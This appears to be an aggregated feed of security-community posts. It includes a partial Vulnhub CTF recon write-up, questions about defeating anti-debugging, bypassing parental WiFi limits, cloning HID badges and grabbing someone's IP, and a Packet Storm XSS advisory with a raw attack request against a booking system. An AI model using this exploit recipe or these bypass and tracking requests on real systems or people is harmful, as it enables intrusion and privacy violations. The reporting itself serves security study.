hacking: security in practice
How to unlock dev tools?

I'm trying to find how https://hdtoday.tv/search/euphoria page works. But as soon as I open dev tools, the debugger gets called and the site stops working. These are the methods I've tried:

1. Opening dev tools by shortcut keys
2. Opening dev tools by write click
3. Opening dev tools before opening this page
4. Opening dev tools in separate window

The only possible scenario I'm left with is to go manually through the js files captured using the HTTP Toolkit and connect the dots. Is there another way? Have you guys experienced this?

submitted by /u/nibblesapien
[link] [comments]

hacking: security in practice
Expand your practical skills with "capture the flag" game, but interactive with AI-Based assistance during the challenge

The first two challenges are not for introduction. Unknown_game, repache and guess are more interesting

https://platform.interway.ai

submitted by /u/iva3210
[link] [comments]

I decided to complete a CTF called Deathnote from Vuln hub while I had some free time.

Here is the Writeup for that CTF *Spoiler Warning*

I first ran netdiscover to find the IP address of the Machine because in this case it was not provided.

​

https://preview.redd.it/6prcawo1wds81.png?width=624&format=png&auto=webp&s=1e56a2607ed49086c22d2d234479c05f1e4130aa

I found the IP addess as shown above.

I then went to the IP in my Mozilla firefox but was Redirected.

​

https://preview.redd.it/w3fwmec7wds81.png?width=1355&format=png&auto=webp&s=6646c5c84f5808939361046ee18774aed8557871

I took note that of the wordpress notation in the redirected URL, but other than that this was fruitless.

I then ran nmap using the -sS and -SV flags to get the Server version as well as find out what ports were open.

​

https://preview.redd.it/uk8u6qdiwds81.png?width=656&format=png&auto=webp&s=cb5adb35a44ed594b6d395a9a4aeb11286b1ff80

I found 2 ports open, One for the website being hosted on port 80, using Apache httpd 2.4.38, and the other a SSH port on port 22.

I then went ahead and ran nikto.

​

https://preview.redd.it/k0pmsnmtwds81.png?width=614&format=png&auto=webp&s=95602baeeb2caaaac9a5baca2149a229497c2547

I followed the directories listed in the nikto scan but found nothing but standard Apache files.

I then ran Dirbuster to see if I could enumerate any other direcrtories.

​

https://preview.redd.it/xvz14ri1xds81.png?width=717&format=png&auto=webp&s=7528514c8527fd2e220844593380e898f065744f

I found a Wordpress directory called uploads, and it peaked my curiosity so i went exploring.

​

https://preview.redd.it/kob1gu17xds81.png?width=1285&format=png&auto=webp&s=d8c7aa21dee2b7af4f0a5527e54ad4ef2e11d34b

​

https://preview.redd.it/9au2dto8xds81.png?width=1306&format=png&auto=webp&s=c3221bf15baf6da34c63f978efcd034eeea8b4cf

inside I found two files called notes.txt, and user.txt

This was the contents of those files.

https://preview.redd.it/90yc1m4cxds81.png?width=1285&format=png&auto=webp&s=2cfb12506a81388813a7306522e70fc24f5a410f

​

https://preview.redd.it/fejpbe8exds81.png?width=1291&format=png&auto=webp&s=e4837e06ccd1a7a0bfc068de1a7adaef41a0e5b9

It appeared to be a userlist and possibly passwords, So i used Nano and created a couple text files on my desktop.

​
https://preview.redd.it/tx5fotmkxds81.png?width=626&forma[...]

hacking: security in practice
Plume WiFi Limiter

My parents have limited my wifi on something called Plume, I have successfully gotten rid of this on the iPad but am not sure how to get rid of it on Windows 10 laptop Any thoughts?

submitted by /u/XGasterBOI
[link] [comments]

hacking: security in practice
My friend's elderly father's FB was hacked by a scumbag.

Firstlu, I'm very sorry to post this should this be the wrong subreddit, if so, could someone please point me into the right direction as I am DESPERATE to turn this around.

So as the title goes. My friend's father has become a victim to someone who's attempted to hack into many private channels, such as eBay, FB, AOL, etc. He's an England citizen so some English based accounts to things such as local business was also attempted but broken off soon enough.

Upon noticing this, my friend has tried to take control, by doing such things on FB as "recovery email" getting the code, and entering it. Sadly, it seems hacker and friend were both doing the same thing over and over. Tonight, the hacker has now changed primary, secondary and recovery phone numbers & emails, to fake ones through Yahoo.

Facebook's section on hacked accounts, is beyond useless. They insist you upload ID to their email, which has been done, and nothing. It's been two days and there is a complete lack of urgency from Facebook regarding this issue, despite knowing it belongs to an elderly man. Tonight, I've attempted my best skills (very few compared to you all) to recover this account, and the account has now been assigned a new Yahoo email, with a number I cannot ever access to recover.

The hacker has applied 2FA to the Facebook account, which is recent, as earlier today it was back and forth password changes. Now, without access to this code generator, I am stuck, as I can't even try to help anyone with no code to go off.

Now to wrap this up, I am in NO WAY asking for any hacking to be done, but would anyone have any idea what sort of avenue I could explore to even if not get access, alert Facebook to a quicker response and check? or any sort of help would be more help than you'll know.

Thank You for reading none the less.

submitted by /u/boggyonetwo
[link] [comments]

hacking: security in practice
Product recommendation request

I've got a client looking for pen testing to be done at his facility, one of the security measures he has in place is an HID locking mechanism. the kind where you do a card that's pressed up against the black box and it unlocks the door.

I managed to capture some HID signatures, however, what i didn't know when i bought my device is that it doesn't clone, it only reads.

Do any of you have personal experience with a device that will clone and copy HID and RFID devices? I'm looking to buy and utilize such a product.

submitted by /u/Captain-Crunch1989
[link] [comments]

hacking: security in practice
VM or Docker image

So... I've been messing around with HtB in a kali vm. I feel lik kali is too bloated and would rather build my system from scratch, installing the tools i need along the way. If i switch to darkarch should I use a VM, or run it in a docker instance forwarding the xorg applications to my host?

submitted by /u/thomasc_
[link] [comments]

https://external-preview.redd.it/0Vqxo1abqiZZbB9cMpV6JY18hNqrGR36LSHO5J9udKM.jpg?width=640&crop=smart&auto=webp&s=c09f8b9ffa7e84007f2474dd90f1e608b81409fe submitted by /u/kasitacambro
[link] [comments]

Dark Reading: Attacks/Breaches
Google Removes Dangerous Banking Malware From Play Store

SharkBot was hidden in apps masquerading as antivirus tools.

Looking for career advise. IT Audit to Pen Testing
https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/

<!-- SC_OFF -->I stated my career as an IT Auditor. Then I transitioned into an IAM implementation role within a Big4 accounting firm. So the issue is IT Audit was horrendous and soul sucking. However, IAM implementation was better but still based on the general concept of Identity and still felt to me too close to IT Audit and forces me to work IAM for the rest of my career. I have been pondering a switch to Pen Testing. Currently studying for my CISSP, I have a CISA. I might not pass the CISSP but it’s certainly valuable knowledge. Anyone make this switch? Is this a terrible idea? Looking for a more interesting hands on job and hopefully less configuration and client interaction. <!-- SC_ON --> submitted by /u/Anonymous_Miata (https://www.reddit.com/user/Anonymous_Miata)
[link] (https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/tzh9vs/looking_for_career_advise_it_audit_to_pen_testing/)

Hacking on Medium
#PwnItFridays hackthebox #StartingPoint Dancing

https://cdn-images-1.medium.com/max/1200/1*rVBAZsCYXDfUkYtSwKKqog.png
Another day, another challenge.

Continue reading on Medium »

Interacting with Protected Docker Registry
https://www.reddit.com/r/redteamsec/comments/tzkins/interacting_with_protected_docker_registry/

submitted by /u/tbhaxor (https://www.reddit.com/user/tbhaxor)
[link] (https://tbhaxor.com/interacting-protected-docker-registry/) [comments] (https://www.reddit.com/r/redteamsec/comments/tzkins/interacting_with_protected_docker_registry/)

hacking: security in practice
I've created a system to demonstrate a new type of DRM

My objective is to provide a way for people to distribute and get paid for their content without being dependent on a third party.

I have a demonstration of this system which you can read about here:

https://coininvaders.com - includes instruction about how to get a free copy from me

I also have a whitepaper discussing the technology:

https://dxchange.org

I'm looking for ideas about what to do with this system.

submitted by /u/cryptocomicon
[link] [comments]

hacking: security in practice
Can I use openvpn over tor?

I am just wondering, because almost all tor exit nodes are known and blocked, Can I use a account less VPN connection to get access and route the VPN through tor so that the VPN provider also won't get my IP?

If I use firewall to block non-tor traffic will I become anonymous completely?

submitted by /u/Pranav__472
[link] [comments]

hacking: security in practice
Group

Hello! Im currently in a small group looking for people to join!

We are not master haxors and its just a fun small group to hangout in share knowledge and help eachother grow.

We are going to be using guided (a alternative to discord) for non private messages and matrix for private messages If you would like to apply sign up to join check the comments for the link!

submitted by /u/YAROBONZ-
[link] [comments]

hacking: security in practice
Any way I can rip someone's IP?

I know grabify is an option, but I don't wanna go through the process of making an entire fake link just so the person I send it to doesn't click on it.

submitted by /u/justtheskates
[link] [comments]

Exploit Collector
Online Sports Complex Booking System 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Online Sports Complex Booking System version 1.0 suffers from a cross site scripting vulnerability.

MD5 | 1b911b30c293b92591ddd98135821dd4

Download
Title: Online Sports Complex Booking System 1.0 XSS
Author: Zllggggg
Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20XSS%20loophole.md
Tested on: Windows, MySQL, Apache

Description:

When registering users at the front desk, when we fill in the information,
we use burpsuite to catch the data packet,After obtaining the data packet,
modify the email parameter to then send the
packet,Then log in to the background with the administrator account ,Click
registered clients to trigger the pop-up window

Data packet
POST /scbs/classes/Users.php?f=save_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------289647566033806702832762971625
Content-Length: 1284
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/register.php
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="id"

1
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="firstname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="middlename"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="lastname"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="gender"

Male
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="contact"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="address"

ca
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="email"
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="password"

123
-----------------------------289647566033806702832762971625
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------289647566033806702832762971625--

Source:packetstormsecurity.com